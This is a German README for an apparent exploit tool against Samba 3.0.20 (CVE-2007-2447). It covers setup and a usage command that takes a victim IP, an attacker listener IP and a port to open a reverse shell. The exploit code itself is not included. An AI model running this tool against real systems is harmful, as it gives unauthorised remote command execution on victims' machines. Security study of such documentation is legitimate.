CVE-2007-2447 Exploit

Dieses Repository enthält einen Exploit für Samba smbd 3.0.20 (CVE-2007-2447), der die remote Ausführung von Befehlen über manipulierte SMB-Anfragen ermöglicht.

Voraussetzungen

Dieser Exploit erfordert Python 3 und einige Abhängigkeiten. Es wird empfohlen, vor der Ausführung des Exploits eine virtuelle Umgebung einzurichten.

Einrichten der virtuellen Umgebung

1. Repository klonen:

   root@kitploit:~

   git clone https://github.com/your-repo/CVE-2007-2447.git
   cd CVE-2007-2447
   

2. Eine Python virtuelle Umgebung erstellen:

   root@kitploit:~

   python3 -m venv smb_env
   source smb_env/bin/activate  # Linux/macOS
   

   (Windows-Benutzer können mit smb_env\Scripts\activate aktivieren)

3. Erforderliche Abhängigkeiten installieren:

   root@kitploit:~

   pip install -r requirements.txt
   

Verwendung

Sobald die virtuelle Umgebung eingerichtet ist, können Sie den Exploit mit der folgenden Syntax ausführen:

python3 CVE-2007-2447.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>

Beispielausführung

python3 CVE-2007-2447.py -t 192.168.1.100 -a 192.168.1.50 -p 4444

• -t / --target: IP-Adresse des Zielcomputers (Opfer).
• -a / --attacker: IP-Adresse des Listeners des Angreifers.
• -p / --port: Port zum Aufbau der Reverse-Shell-Verbindung.

Deaktivieren der virtuellen Umgebung

Wenn Sie fertig sind, deaktivieren Sie die virtuelle Umgebung mit:

deactivate